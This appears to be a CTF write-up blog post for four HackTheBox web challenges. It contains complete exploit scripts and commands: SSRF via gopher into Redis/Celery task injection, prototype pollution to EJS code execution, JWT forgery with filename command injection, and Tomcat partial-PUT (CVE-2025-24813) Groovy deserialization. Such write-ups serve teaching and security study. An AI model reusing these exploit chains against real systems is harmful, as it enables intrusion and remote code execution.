Neurogrid CTF: Human-Only 2025 | Web
Neurogrid CTF: Human-Only 2025 was a 4-day CTF hosted by HackTheBox. I competed solo as “Legendary Queue” and finished in the top 4 out of 1337 players. This post covers the Web challenges.


MirrorPort [easy]
Description: In the merchant port of Hōgetsu, the teahouse above the market hides more than it serves. Ayame watches scripted patrons, mirrored signage, and a crawlspace thick with sealed debts—proof the ledger is staged. Your job is to slip into the same flask ordering board, sift the thing, and expose how doctored receipts prop up the facade.
Points: 1000 | Difficulty: Easy
Analysis
We’re given a Flask marketplace application with a Celery/Redis task queue for background processing. When sellers create listings, any markdown image URLs in the notes field get fetched asynchronously by a Celery worker using curl.
The interesting part is in tasks.py:
def fetch_url(url, note_id, curl_binary="curl"):
# Blocklist check
if url.startswith(('gopher://', 'file://', "-K", "-k")):
return {"success": False, "error": "Blocked protocol"}
curl_cmd = ["-s", "-L", "-m", "30", url]
curl_cmd = f"{curl_binary} {shlex.join(curl_cmd)}"
result = subprocess.run(curl_cmd, capture_output=True, shell=True, ...)
There’s command injection via the curl_binary parameter - it’s inserted directly into a shell command without escaping. The shlex.join() only protects the argument list, not the binary path prefix.
But the curl_binary parameter isn’t user-controllable through normal HTTP requests. It’s only set when Celery deserializes tasks from Redis. So we need SSRF to inject a malicious Celery task directly into the Redis queue.
The URL filtering in models/listing.py adds another layer:
def filter_http_urls(urls: List[str]) -> List[str]:
for url in urls[:]:
if url.strip(string.punctuation).startswith(('http://', 'https://')):
filtered_urls.append(url) # Returns ORIGINAL url
return filtered_urls
This strips punctuation before validation but returns the original URL - a classic filter bypass pattern.
Exploitation
The attack requires chaining three bypasses:
- Uppercase GOPHER bypass: The blocklist checks
gopher://(lowercase) but curl treatsGOPHER://identically - Curl URL globbing: Using
{url1,url2}syntax makes curl fetch both URLs. The first satisfies the HTTP filter, the second hits Redis - Redis/Celery injection: GOPHER protocol allows raw socket communication with Redis using RESP format
The final payload URL looks like:
{http://127.0.0.1/,GOPHER://127.0.0.1:6379/_*3%0D%0A$5%0D%0ALPUSH%0D%0A$6%0D%0Acelery%0D%0A$<len>%0D%0A<CELERY_MESSAGE>%0D%0A}
The Celery message must be properly formatted with headers, body, and properties - including a delivery_tag or the worker crashes:
#!/usr/bin/env python3
import base64, json, time, urllib.parse, uuid, requests
TARGET = "http://94.237.120.233:38140"
def build_malicious_celery_message(curl_binary="/usr/local/bin/read_flag>/app/cache/flag.txt;#"):
task_id = str(uuid.uuid4())
args = ["http://localhost/dummy", 1]
kwargs = {"curl_binary": curl_binary}
embed = {"callbacks": None, "errbacks": None, "chain": None, "chord": None}
body = base64.b64encode(json.dumps([args, kwargs, embed]).encode()).decode()
headers = {
"lang": "py", "task": "tasks.fetch_url", "id": task_id,
"shadow": None, "eta": None, "expires": None, "group": None,
"group_index": None, "retries": 0, "timelimit": [None, None],
"root_id": task_id, "parent_id": None, "argsrepr": str(tuple(args)),
"kwargsrepr": str(kwargs), "origin": "gen@glob", "ignore_result": False,
"replaced_task_nesting": 0, "stamped_headers": None, "stamps": {},
}
properties = {
"correlation_id": task_id, "reply_to": str(uuid.uuid4()),
"delivery_mode": 2, "delivery_info": {"exchange": "", "routing_key": "celery"},
"priority": 0, "body_encoding": "base64", "delivery_tag": str(uuid.uuid4()),
}
return json.dumps({
"body": body, "content-encoding": "utf-8", "content-type": "application/json",
"headers": headers, "properties": properties,
})
def build_gopher_url():
message = build_malicious_celery_message()
parts = ["LPUSH", "celery", message]
resp = f"*{len(parts)}\r\n"
for part in parts:
resp += f"${len(part)}\r\n{part}\r\n"
return f"GOPHER://127.0.0.1:6379/_{urllib.parse.quote(resp, safe='')}"
gopher_url = build_gopher_url()
glob_url = f"{{http://127.0.0.1/,{gopher_url}}}"
note = f""
payload = {
"seller_name": "attacker", "scroll_name": f"Exploit-{int(time.time())}",
"price": 1, "description": "pwn", "note": note, "image_url": "",
}
requests.post(f"{TARGET}/api/listings", json=payload)
time.sleep(5)
resp = requests.get(f"{TARGET}/cache/flag.txt")
print(resp.text)
The injected task runs /usr/local/bin/read_flag (a setuid binary) and redirects output to the cache directory. The # comments out the remaining curl arguments.
Flag
Flag:
HTB{sm0k3_b3h1nd_p4p3r_w4lls_w3b_0f_d3c3pt1on_77ed079d74b931042845075ba49e55cb}
kuromind [hard]
Description: KuroMind is a knowledge management platform where users submit knowledge items for operator review. The wisdom you share might just teach the system more than intended.
Points: 975 | Difficulty: Hard
Analysis
A Node.js/Express application using EJS templating. Users create “knowledge drafts” that get submitted for review by a Playwright bot. The vulnerability chain starts with a prototype pollution in utils/merge.js:
export function deepMerge(target, source) {
let depth = 0;
function merge(currentTarget, currentSource) {
if (depth > 10) return currentTarget;
depth++;
for (let key in currentSource) {
if (typeof currentSource[key] === 'object' && currentSource[key] !== null) {
currentTarget[key] = merge(currentTarget[key] || {}, currentSource[key]);
} else {
currentTarget[key] = currentSource[key];
}
}
return currentTarget;
}
return merge(target, source);
}
No filtering of __proto__ or constructor - textbook prototype pollution. The trigger point is in /user/edit/:id:
const newTags = JSON.parse(tags);
updatedTags = deepMerge(updatedTags, newTags);
EJS 3.1.10 added hasOwnOnlyObject protection against prototype pollution, but Express has special handling for data.settings['view options'] that bypasses it:
// EJS renderFile reads settings from prototype chain
if (data.settings) {
viewOpts = data.settings['view options']; // Reads from Object.prototype!
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
}
When opts.client = true, EJS embeds escapeFunction directly into generated JavaScript:
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
}
If escapeFunction is a string instead of a function, we get code injection.
The final challenge is ESM context - no require() available. The solution is process.binding('spawn_sync') which provides direct access to child process spawning:
var p = globalThis.process;
var s = p.binding('spawn_sync');
var opts = {
file: '/bin/sh',
args: ['sh', '-c', 'cp /flag.txt /app/public/f.txt'],
envPairs: [],
stdio: [{type:'pipe',readable:1,writable:0},
{type:'pipe',readable:0,writable:1},
{type:'pipe',readable:0,writable:1}]
};
s.spawn(opts);
Exploitation
#!/usr/bin/env python3
import requests, re, json, time, random, string
def random_string(length=8):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def exploit(target_url):
session = requests.Session()
username = f"hacker_{random_string()}"
email = f"{username}@test.com"
password = "password123"
# Register
resp = session.get(f"{target_url}/register")
csrf = re.search(r'name="_csrf" value="([^"]+)"', resp.text).group(1)
session.post(f"{target_url}/register", data={
"_csrf": csrf, "username": username, "email": email,
"password": password, "confirmPassword": password
}, allow_redirects=False)
# Login
resp = session.get(f"{target_url}/login")
csrf = re.search(r'name="_csrf" value="([^"]+)"', resp.text).group(1)
session.post(f"{target_url}/login", data={
"_csrf": csrf, "email": email, "password": password
}, allow_redirects=False)
session.get(f"{target_url}/user/dashboard")
# Create draft
resp = session.get(f"{target_url}/user/add")
csrf = re.search(r'name="_csrf" value="([^"]+)"', resp.text).group(1)
session.post(f"{target_url}/user/add", data={
"_csrf": csrf, "title": "Test", "description": "Test",
"tags": '{"categories": ["test"]}'
})
# Find draft ID
resp = session.get(f"{target_url}/user/drafts")
draft_id = re.search(r'href="/user/edit/(\d+)"', resp.text).group(1)
# Edit with prototype pollution payload
resp = session.get(f"{target_url}/user/edit/{draft_id}")
csrf = re.search(r'name="_csrf" value="([^"]+)"', resp.text).group(1)
payload = (
"1;var p=globalThis.process;var s=p.binding('spawn_sync');"
"var opts={file:'/bin/sh',args:['sh','-c','cp /flag.txt /app/public/f.txt'],"
"envPairs:[],stdio:[{type:'pipe',readable:1,writable:0},"
"{type:'pipe',readable:0,writable:1},{type:'pipe',readable:0,writable:1}]};"
"s.spawn(opts)"
)
malicious_tags = {
"__proto__": {
"settings": {
"view options": {"client": 1, "escapeFunction": payload}
}
},
"categories": ["test"]
}
session.post(f"{target_url}/user/edit/{draft_id}", data={
"_csrf": csrf, "title": "Test", "description": "Test",
"tags": json.dumps(malicious_tags)
})
# Submit for bot review
resp = session.get(f"{target_url}/user/drafts")
csrf = re.search(r'name="_csrf" value="([^"]+)"', resp.text).group(1)
session.post(f"{target_url}/user/drafts/submit/{draft_id}", data={"_csrf": csrf})
time.sleep(5)
print(session.get(f"{target_url}/f.txt").text)
exploit("http://TARGET:PORT")
The bot visits the review page, triggering EJS compilation with our polluted prototype. The RCE copies /flag.txt to the public directory.
Flag
Flag:
HTB{pr0t0typ3_p0llut10n_3js_rce_1n_esm_c0nt3xt}
Lanternfall [very easy]
Description: Ayame has spent years weaving information networks through Gekkō’s alleys, favoring precision strikes over reckless blades. Lately she suspects a rival clan has hijacked her moonlit gallery, twisting it into a staging ground for hushed deals and pilfered secrets. She needs a careful ally—someone to slip through the lantern-lit facade, catalogue the tampering, and restore balance without shattering the trust of the people she protects.
Points: 950 | Difficulty: Very Easy
Analysis
A Next.js application with admin functionality. Examining the JavaScript bundles from /_next/static/chunks/pages/admin-*.js reveals a hardcoded JWT secret in the client-side code:
"X-Lantern-Sigil":"ayame_moonlight_gekko_secret_key_for_jwt_signing_do_not_use_in_production_2024"
With the secret exposed, forging an admin token is trivial:
const crypto = require('crypto');
function base64UrlEncode(str) {
return Buffer.from(str).toString('base64')
.replace(/=/g, '').replace(/\+/g, '-').replace(/\//g, '_');
}
const header = { alg: 'HS256', typ: 'JWT' };
const payload = {
username: 'admin', role: 'admin',
iat: Math.floor(Date.now()/1000),
exp: Math.floor(Date.now()/1000) + 86400
};
const secret = 'ayame_moonlight_gekko_secret_key_for_jwt_signing_do_not_use_in_production_2024';
const data = base64UrlEncode(JSON.stringify(header)) + '.' +
base64UrlEncode(JSON.stringify(payload));
const signature = crypto.createHmac('sha256', secret).update(data).digest('base64')
.replace(/=/g, '').replace(/\+/g, '-').replace(/\//g, '_');
console.log(data + '.' + signature);
Exploitation
With admin access, the /api/admin/reports endpoint has command injection via the filename parameter using backticks:
filename="test`id`.csv"
# Response shows: uid=65534(nobody) gid=65533(nogroup)
Spaces are filtered, but ${IFS} works as a substitute:
# Inject command to copy flag
curl -X POST "http://TARGET/api/admin/reports" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"reportType":"user_activity","format":"csv","filename":"x`cat${IFS}/flag.txt>/tmp/reports/flag.txt`y"}'
# Retrieve flag via files API
curl "http://TARGET/api/admin/files?filename=flag.txt" \
-H "Authorization: Bearer $TOKEN"
Flag
Flag:
HTB{4y4m3_g3kk0_m00nl1ght_4ll3ys_sh4d0w_w3b_69b5139fb865bc3b810d7baa18876e7a}
ashenvault [medium]
Description: The Whisper Network carries messages across Kurozan’s empire, recording every movement and decree in silence. It has no voice of its own, yet it remembers everything spoken through it.
Points: 1000 | Difficulty: Medium
Analysis
Tomcat 9.0.98 with some interesting configuration choices. Looking at conf/web.xml:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>allowPartialPut</param-name>
<param-value>true</param-value>
</init-param>
PUT requests are enabled with partial upload support - this enables CVE-2025-24813. The context.xml shows PersistentManager with FileStore for session storage, meaning session files are serialized to disk.
The application includes a custom Testing class with Groovy support:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
if (groovyScript != null && !groovyScript.trim().isEmpty()) {
processGroovyScript();
}
}
private void processGroovyScript() {
GroovyClassLoader groovyClassLoader = new GroovyClassLoader(...);
Class<?> groovyClass = groovyClassLoader.parseClass(groovyScript);
}
During deserialization, if the object contains a Groovy script, it gets parsed. Groovy’s @ASTTest annotation executes its closure during AST construction - before any class instantiation.
Exploitation
The attack chain:
- Use partial PUT (CVE-2025-24813) to upload a serialized
Testingobject as a session file - The
Content-Rangeheader trick creates files with.prefix in the work directory - Request the page with
Cookie: JSESSIONID=.exploitto trigger deserialization @ASTTestclosure executes during Groovy parsing
First, create the payload generator:
// GeneratePayload.java
import java.io.*;
import com.example.Testing;
public class GeneratePayload {
public static void main(String[] args) throws Exception {
String groovyScript = """
@groovy.transform.ASTTest(value={
["/bin/sh", "-c", "/readflag > /usr/local/tomcat/webapps/ROOT/flag.txt"].execute()
})
class Exploit {}
""";
Testing payload = new Testing("exploit", 1337, groovyScript);
try (ObjectOutputStream oos = new ObjectOutputStream(
new FileOutputStream("payload.session"))) {
oos.writeObject(payload);
}
}
}
The Testing class must match the server’s serialVersionUID (8138492976104377189L).
Upload and trigger:
# Compile and generate payload
javac -cp . com/example/Testing.java GeneratePayload.java
java -cp . GeneratePayload
# Upload via partial PUT (creates .exploit.session)
curl -X PUT "http://TARGET/exploit.session" \
-H "Content-Range: bytes 0-253/254" \
--data-binary @payload.session
# Trigger deserialization
curl "http://TARGET/" -H "Cookie: JSESSIONID=.exploit"
# Fetch flag
curl "http://TARGET/flag.txt"
The /readflag binary is setuid and reads /root/flag.txt, writing it to the webroot.
Flag
Flag:
HTB{CVE-2025-24813_plus_gr0vy_met4_pr0gramming_is_the_best_45dd7a15ec203994ce1d0e4ec0c5b1b0}